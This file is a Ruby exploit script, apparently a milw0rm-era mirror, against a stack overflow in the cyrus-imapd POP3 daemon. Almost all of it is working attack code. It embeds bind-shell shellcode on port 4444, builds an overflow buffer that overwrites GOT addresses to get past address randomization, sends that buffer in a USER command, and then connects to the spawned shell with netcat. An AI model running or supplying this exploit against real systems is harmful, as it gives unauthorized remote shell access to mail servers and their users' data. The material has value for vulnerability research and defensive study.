477bcbdcc0
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87 lines
2.2 KiB
Ruby
Executable file
87 lines
2.2 KiB
Ruby
Executable file
#!/usr/bin/ruby
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#
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# cyrus-imapd pop3d exploit
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# by bannedit
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#
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# 05/23/2006
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# This exploit takes advantage of a stack based overflow.
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# Once the stack corruption has occured it is possible
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# to overwrite a pointer which is later used for a memcpy
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# this gives us a write anything anywhere condition similar
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# to a format string vulnerability.
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#
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# I choose to overwrite the GOT table with my shellcode and
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# return to it. This defeats the VA random patch and possibly
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# other stack protection features.
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#
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# tested on gentoo-sources linux 2.6.16
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require 'socket'
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#will add targets for other linux distros
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targets = { 'linux 2.6' => '0x080fd318', 'linux 2.6 Hardened' => '', 'freebsd' => '' }
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#metasploit bind shellcode by skape 84 bytes port 4444#
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shellcode =
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"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"+
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"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"+
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"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"+
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"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"+
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"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+
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"\x89\xe1\xcd\x80"
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puts "--[cyrus imapd pop3 popsubfolders exploit"
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puts "----[by bannedit"
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puts "-----------------------------------------"
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case ARGV.length
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when 0
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puts "--- ./exploit [host] [options]"
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exit
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when 1
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sock = TCPSocket.new(ARGV[0], "pop3")
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when 2
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sock = TCPSocket.new(ARGV[0], "pop3")
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ret = ARGV[1].hex
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end
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ret = (targets['linux 2.6'].hex)
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puts "<- " + banner = sock.gets
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puts "-> sending USER command"
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printf " injecting shellcode: %d bytes\n", shellcode.length
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#this alignment stuff should probably be cleaned up its kinda icky#
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evil_buff = "USER "
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evil_buff <<"\x90" * 265 #(290 - shellcode.length)
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evil_buff << ([ret].pack('V')) * 2 #return address
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evil_buff <<"\x90" * (250 - shellcode.length)
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evil_buff << shellcode
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evil_buff <<"\x90" * (29)
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ret = ret - 277
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evil_buff << ([ret].pack('V')) * 4 #0x080fd204
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evil_buff <<"\r\n"
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sock.send(evil_buff, 0)
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sleep 9
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puts " attempting to connect to #{ARGV[0]} port 4444"
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cmd = "nc #{ARGV[0]} 4444"
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system(cmd)
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sock.close
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# milw0rm.com [2006-07-21]
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